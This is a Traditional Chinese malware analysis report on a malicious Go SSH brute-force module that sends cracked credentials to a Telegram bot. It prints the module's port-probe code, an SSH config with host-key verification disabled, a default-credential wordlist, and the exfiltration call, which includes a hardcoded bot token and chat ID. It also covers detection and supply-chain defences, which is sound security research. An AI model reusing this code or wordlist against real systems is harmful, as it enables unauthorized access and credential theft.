
1. 簡介
摘要
本研究報告全面技術分析一個惡意的Go模組,該模組偽裝成SSH暴力破解工具,同時秘密地將竊取的認證外傳到Telegram bot。這個名為
golang-random-ip-ssh-bruteforce
的模組,利用精密的技術將掃描作業分散給不知情的作業者,同時透過看似合法的網路流量保持隱匿。我們的分析揭示了該模組的架構設計、運作方法以及Threat actor竊取認證的策略性手法。本研究有助於理解Go生態系統中的供應鏈攻擊,並為現代惡意軟體散布技術提供見解。

1. 簡介
開放原始碼生態系中惡意套件的擴散已成為網路安全專業人士和軟體開發人員的一大擔憂。Go程式語言生態系雖然普遍被認為是安全的,但仍無法倖免於此類威脅。本研究檢視了一個特別精密的惡意Go模組,該模組展示了進階的認證外傳技術,同時保持合法安全工具的外觀 [1] 。
正在調查的模組
golang-random-ip-ssh-bruteforce
,代表了一種新穎的惡意軟體散布方法,其中惡意功能被嵌入在一個看似功能齊全的SSH暴力破解工具中。這種雙重目的的設計讓惡意軟體能夠在合法的滲透測試或安全研究活動的偽裝下運作,使偵測變得更具挑戰性。
我們的分析重點在於技術實作細節、Threat actor採用的作業安全措施,以及對Go模組生態系更廣泛的影響。本報告中提出的發現基於對惡意套件及其相關命令與控制機制的靜態程式碼分析、行為檢查和基礎設施調查。
2. 技術架構分析
2.1 核心模組結構
這個惡意的Go模組實作了一個精密的架構,在功能性和隱匿性之間取得了平衡。主要執行流程始於一個無限迴圈,不斷產生隨機的IPv4位址用於掃描。這種方法確保了持續運作,同時將掃描工作量分散到廣泛的位址空間,使得透過網路監控進行偵測更加困難 [1] 。
模組的核心功能被封裝在幾個關鍵函式中,每個函式在整個攻擊鏈中都有特定的目的。
IsOpened
函式作為初始的偵察元件,負責識別具有暴露SSH服務的潛在目標。
- func IsOpened(host string) {
- target: = fmt.Sprintf("%s:%d", host, 22) conn,
- err: = net.DialTimeout("tcp", target, 2 * time.Second) if err == nil && conn != nil {
- conn.Close() go brute(host)
- }
- }
此函式展現了幾個重要的技術特性。首先,它使用了2秒的短暫timeout,在徹底掃描和作業速度之間取得了平衡。成功建立連線後立即關閉連線,能將對目標系統的足跡降至最低,降低被入侵偵測系統偵測到的可能性。最關鍵的是,該函式在一個單獨的goroutine中啟動暴力破解程序,實現對多個目標的同時並行作業。
2.2 SSH認證繞過機制
該模組透過其SSH客戶端設定實作了一個特別令人擔憂的安全繞過。使用
ssh.InsecureIgnoreHostKey()
代表了對SSH安全機制的蓄意破壞
[1]
。
- // Configure SSH to skip host key verification, then attempt user:pass.
- sshConfig := &ssh.ClientConfig{
- User: user,
- Auth: []ssh.AuthMethod{ssh.Password(pass)},
- Timeout: time.Duration(timeout) * time.Second,
- HostKeyCallback: ssh.InsecureIgnoreHostKey(), // Skip server verification.
- }
- client, err := ssh.Dial("tcp", addr, sshConfig)
從攻擊者的角度來看,這個Configuration選擇服務於多個目的。透過停用主機key驗證,該模組可以成功連接到任何SSH伺服器,無論其主機key狀態如何,消除了因未知或變更的主機key而可能發生的潛在連線失敗。雖然這種方法使模組容易受到man-in-the-middle攻擊,但它透過移除常見的連線失敗來源,顯著提高了暴力破解嘗試的成功率。
timeout設定是策略性地為了在給予足夠時間進行認證嘗試的同時,保持運作效率。這種方法顯示出對網路作業以及在徹底性和速度之間權衡的精確理解。
2.3 認證外傳機制
模組功能中最關鍵的方面在於其認證外傳機制。一旦認證成功,該模組會立即使用Telegram Bot API將被盜的認證傳輸到一個hardcoded的Telegram bot [1] 。
- // On first success, send stolen credentials to the threat actor's Telegram.
- data := addr + ":" + user + ":" + pass + "</code>"
- http.Get("https://api[.]telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884&parse_mode=HTML&text=<code>" + data)
- close(succ) // Signal success and exit.
這種外傳方法展示了幾個精密的作業安全考量。使用HTTPS確保傳輸中的認證被加密,使網路監控工具更難以攔截。Telegram Bot API提供了一個可靠且隨時可用的命令與控制通道,對於大多數網路安全設備來說,它看起來像是合法的網路流量。
成功外傳認證後立即終止模組,服務於多個目的。它最大限度地減少了在受害系統上的運作足跡,降低了透過長時間活動被偵測到的可能性,並確保只傳輸第一組成功的認證,防止潛在的重複或衝突資料。
3. Wordlist分析與目標設定
3.1 靜態Wordlist組成
該模組包含一個精心策畫的靜態wordlist,揭示了有關Threat actor目標設定策略和運作方法的重要見解。該wordlist刻意設計得緊湊,只包含能最大限度提高成功認證機率同時將運作雜訊降至最低的關鍵認證組合 [1] 。
使用者名稱 | 密碼類別 | 目標系統 |
---|---|---|
root | toor, raspberry, dietpi, alpine | Linux發行版、物聯網裝置 |
admin | password, qwerty, 123456 | 網路設備、網路介面 |
root/admin | webadmin, webmaster, maintenance | 網路伺服器、管理介面 |
root/admin | techsupport, marketing, uploader | 企業系統、檔案伺服器 |
納入「raspberry」和「dietpi」等特定詞彙,表明了對單板電腦和物聯網裝置的蓄意鎖定,這些裝置經常保留預設認證。存在「alpine」則暗示著以容器化環境和雲端部署中常用的輕量級Linux發行版為目標。這種策略性選擇證明了Threat actor對現代基礎設施中常見部署模式和安全弱點的理解。
3.2 運作效率考量
wordlist的緊湊性質服務於簡單認證猜測之外的多個運作目的。較小的wordlist每個目標產生的網路流量顯著減少,使得掃描活動對網路監控系統來說不那麼顯眼。減少認證嘗試的次數也降低了觸發帳戶鎖定機制或入侵偵測警報的可能性。
從作業安全的角度來看,wordlist的離線性質尤其值得注意。透過將認證直接嵌入在模組中,而不是從外部來源獲取,Threat actor消除了潛在的故障點,並減少了偵測的攻擊面。這種設計使得模組能夠在網路隔離或嚴密監控的環境中有效運作,因為在這些環境中,外部網路存取可能受到限制或監控。
4. 命令與控制基礎設施
4.1 Telegram Bot API整合
該模組使用Telegram Bot API進行命令與控制,代表了一種與受害系統保持持續通訊的精密方法。hardcoded的bot Token
5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY
和chat ID
1159678884
提供了對Threat actor基礎設施的直接洞察
[1]
。
對Telegram基礎設施的調查顯示,該bot被識別為
ssh_bot
,使用者名稱為
@sshZXC_bot
,而目的地chat屬於一個別名為
Gett
、使用者名稱為
@io_ping
的使用者。這個基礎設施顯示了某種程度的運作規劃和持久性,因為該bot和相關帳戶在整個分析期間保持活躍。
從攻擊者的角度來看,選擇Telegram作為命令與控制平台提供了幾個優勢。Telegram廣泛的合法使用使得其API端點的流量對於網路安全設備來說顯得正常。該平台的強大基礎設施確保了認證外傳作業的高可用性和可靠性。此外,Telegram的加密和隱私功能為Threat actor的通訊提供了一定程度的保護。
4.2 流量分析與偵測規避
該模組的網路通訊模式旨在與合法的網路流量無縫融合。所有與Telegram API的通訊都使用HTTPS,確保外傳認證的內容無法被網路監控工具輕鬆檢查。用於認證傳輸的HTTP GET方法看起來就像一個標準的網路請求,使其難以與合法的API呼叫或網路瀏覽活動區分。
通訊的時機和頻率也經過策略性設計以避免偵測。該模組僅在成功取得認證後才與命令與控制基礎設施通訊,將整體網路足跡降至最低。這種方法與傳統惡意軟體形成鮮明對比,傳統惡意軟體會保持持續連線或定期與命令與控制伺服器簽到。
5. Threat Actor運作分析
5.1 散布策略與社交工程
Threat actor的散布策略顯示出對社交工程原則和開放原始碼軟體生態系的精確理解。透過將惡意模組呈現為一個合法的SSH暴力破解工具,該actor利用了安全專業人士和滲透測試人員對此類實用工具的自然興趣 [1] 。
該模組被定位為一個「快速」的SSH暴力破解器,吸引了尋求高效安全測試工具的使用者。這種行銷手法利用了人們對安全工具性能優化的普遍渴望,使惡意套件對其預期受眾產生吸引力。包含功能性的暴力破解能力提供了合理的否認,並確保使用者最初認為該工具的運作如廣告所言。
Threat actor的GitHub個人資料,使用者名稱為
IllDieAnyway
,託管了一個全面的攻擊工具包,其中包括各種滲透測試和攻擊工具。這種作品集方法透過將惡意模組定位在更廣泛的安全研究和工具開發背景中,為其增添了可信度。多個工具具有類似的Telegram callback功能,表明了跨不同攻擊向量竊取認證的系統性方法。
5.2 風險分散與作業安全
該模組的設計有效地將運作風險分散給多個不知情的作業者,同時將好處集中在Threat actor身上。每個執行該模組的使用者都成為掃描和認證竊取作業中不知情的參與者,將網路流量和潛在的歸屬分散到無數的IP位址和地理位置。
這種分散式方法為Threat actor提供了幾個運作優勢。掃描活動看起來是源自合法的安全研究人員和滲透測試人員,使得防禦者難以區分惡意和合法的安全測試。掃描活動的地理和時間分散使得威脅情報分析師進行模式識別和歸屬顯著更具挑戰性。
立即外傳和終止的行為透過將惡意攻擊可能被偵測到的時間窗口降至最低,進一步增強了作業安全。每次成功取得的單一使用性質,降低了建立可能導致偵測或歸屬的模式的可能性。
6. 程式碼分析與實作細節
6.1 平行處理與效能優化
該模組展示了對Go平行處理功能的精密使用,以最大限度地提高運作效率。實作goroutine以進行並行SSH暴力破解作業,使得模組能夠根據可用的系統資源和網路容量來擴展其攻擊能力。
// Concurrent execution pattern go brute(host) // Launch brute-force in separate goroutine
這種平行處理模模型使得模組能夠維持高吞吐量,同時避免可能影響系統效能並潛在提醒使用者惡意攻擊的資源耗盡。為每個目標使用單獨的goroutine確保了緩慢或無回應的目標不會影響整體掃描效率。
模組的效能特性經過仔細平衡,以在竊取認證的同時保持隱匿。初始port探測的2秒timeout提供了足夠的時間建立連線,同時防止在無回應的目標上長時間hang住。這種timing優化顯示出對網路行為以及徹底性和運作效率之間權衡的透徹理解。
6.2 錯誤處理與復原能力
該模組實作了強大的錯誤處理機制,確保儘管出現網路故障或目標無法使用,仍能持續運作。port探測函式中簡單的錯誤檢查讓模組能夠優雅地處理連線失敗,並在不中斷的情況下繼續掃描其他目標。
- if err == nil && conn != nil {
- conn.Close()
- go brute(host)
- } // Implicit error handling - failed connections are simply ignored
這種錯誤處理方法優先考慮運作的連續性,而非詳細的日誌記錄或錯誤報告。失敗的連線嘗試會被靜默忽略,讓模組能夠維持其掃描節奏,而不會產生可能提醒使用者意外行為的錯誤訊息。此設計選擇反映了模組對隱匿性和持久性的關注,而非全面的功能。
6.3 記憶體與資源管理
該模組的資源管理策略旨在將其對主機系統效能的影響降至最低,同時保持運作有效性。成功建立連線後立即關閉網路連線,減少了同時連線的數量和相關的記憶體使用。
成功後退出的行為除了作業安全之外,還服務於多個目的。透過在第一次成功取得認證後終止,模組防止了資源累積,而這種累積可能會影響系統效能或產生可疑的活動日誌。這種方法還確保了系統資源迅速釋放,降低了透過資源監控工具被偵測到的可能性。
7. 安全影響與偵測策略
7.1 基於網路的偵測方法
儘管該模組具有精密的規避技術,但仍可以採用幾種基於網路的偵測策略來識別其活動。系統性地掃描port 22上的隨機IP位址會產生獨特的流量模式,可以透過網路流量分析和行為監控來偵測。
組織可以實作偵測規則,識別不尋常的對外SSH連線嘗試,特別是那些針對隨機或非組織IP位址的連線。對port 22的高頻率短時間連線跨越不同的IP範圍,代表了自動化掃描活動的明確指標,這與合法的SSH使用模式顯著不同。
Telegram API通訊雖然經過加密,但可以透過網域和IP監控來偵測。組織可以實作對外過濾規則,攔截或監控到Telegram API端點的連線,特別是來自那些不應出於合法業務目的而需要此類連線的系統。
7.2 基於主機的偵測與預防
基於主機的偵測策略可以專注於模組的執行模式和系統行為。持續的網路掃描活動會產生獨特的程序行為,可以透過端點偵測與回應(Endpoint Detection and Response, EDR)解決方案和系統監控工具來偵測。
Go二進位檔的靜態分析可以識別 Hardcoded 的Telegram API端點和可疑的網路行為模式。組織可以實作應用程式白名單和程式碼簽章驗證,以防止執行未經授權或可疑的Go模組。
該模組使用不安全主機key驗證的Go SSH程式庫,可以透過程式庫使用分析和安全政策執行來偵測。組織可以實作相關政策,以防止或警示在其環境中使用不安全的SSH設定。
8. 更廣泛的生態系影響
8.1 供應鏈安全考量
這個惡意模組在Go生態系中的存在,凸顯了現代軟體開發所面臨的重大供應鏈安全挑戰。該模組在公共程式碼庫中存在三年,顯示了偵測提供功能性與惡意行為並存的精密惡意套件的難度 [1] 。
此次事件強調了對開放原始碼相依性進行全面安全掃描和審查程序的重要性。組織必須實作強大的相依性管理實務,其中包括安全掃描、行為分析,以及對第三方套件的持續監控。
Threat actor能夠在公共程式碼庫中維護惡意套件長達一段時間,這表明目前的自動化安全掃描工具可能不足以偵測精密的供應鏈攻擊。這項發現強調了需要增強偵測能力,以識別嵌入在功能性程式碼中的細微惡意行為。
8.2 對生態系安全的建議
根據對這個惡意模組的分析,對改善Go模組生態系安全提出了幾項建議。程式碼庫維護者應實施增強的自動化掃描功能,以偵測可疑的網路行為模式和 Hardcoded 外部通訊端點。
開發社群應為安全工具開發建立更清晰的指南和最佳實務,以幫助區分合法的安全研究工具和潛在的惡意套件。這包括對工具功能進行透明通訊以及對任何外部通訊或資料收集活動進行清晰記錄的建議。
使用開放原始碼套件的組織應實施全面的安全政策,包括對相依性的行為分析、對不尋常對外通訊的網路監控,以及對關鍵相依性的定期安全稽核。實施針對第三方程式碼的零信任原則有助於減輕與供應鏈攻擊相關的風險。
9. 結論
對
golang-random-ip-ssh-bruteforce
模組的分析,揭示了一種精密的惡意軟體散布和認證竊取方法,該方法利用了開放原始碼生態系的信任和功能預期。該模組的技術實作展現了對網路作業、並行管理和作業安全原則的進階理解。
Threat actor將惡意功能嵌入在功能性安全工具中的策略,代表了供應鏈攻擊方法學的重大演變。透過提供真正的實用性與惡意行為並存,該actor成功地使套件在公共程式碼庫中存在了很長一段時間,同時從不知情的使用者那裡竊取了認證。
該事件凸顯了目前針對開放原始碼套件的安全掃描和偵測能力存在的關鍵缺口。模組在三年內規避偵測的能力,顯示了無論是在程式碼庫安全掃描還是組織安全實務中,都需要增強行為分析和網路監控能力。
未來研究應專注於開發改進的偵測方法,以應對融合惡意和合法功能的精密供應鏈攻擊。開發能夠識別功能性程式碼中潛在惡意意圖的細微指標的行為分析技術,代表了網路安全研究的一個關鍵進步領域。
組織必須採用全面的安全實務,不僅限於傳統的漏洞掃描,還應包括行為監控、網路分析,以及對第三方相依性的持續安全評估。實施結合多種偵測和預防技術的縱深防禦策略,能為抵禦精密供應鏈攻擊提供最佳保護。